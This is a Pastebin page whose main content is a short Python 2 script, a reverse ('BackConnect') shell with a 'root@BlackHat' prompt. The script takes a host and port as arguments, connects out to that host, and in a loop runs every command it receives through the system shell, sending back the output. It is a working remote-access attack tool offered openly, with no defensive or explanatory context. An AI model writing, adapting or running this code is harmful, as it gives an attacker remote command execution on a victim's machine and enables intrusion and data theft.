Advertisement
Guest User

Untitled

a guest
Mar 20th, 2019
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.83 KB | None | 0 0
  1. #!/usr/bin/python
  2. try:
  3. print "usage: [script] host port"
  4.  
  5. import socket,subprocess,sys
  6.  
  7. HOST = sys.argv[1]
  8. PORT = int(sys.argv[2])
  9.  
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11.  
  12. s.connect((HOST, PORT))
  13.  
  14. s.send('-----------------------------\n')
  15. s.send('[*] Connection Established!')
  16.  
  17. s.send('\n-----------------------------\n')
  18. s.send('$ root@BlackHat: ')
  19.  
  20. print "BackConnect shell is ready for to transmit data"
  21. while 1:
  22.  
  23. buffersize = 1024
  24.  
  25. data = s.recv(buffersize)
  26.  
  27. proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  28.  
  29. stdout_value = proc.stdout.read() + proc.stderr.read()
  30.  
  31. s.send(stdout_value)
  32.  
  33. s.close()
  34.  
  35. except KeyboardInterrupt:
  36. print 'Connection broken'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement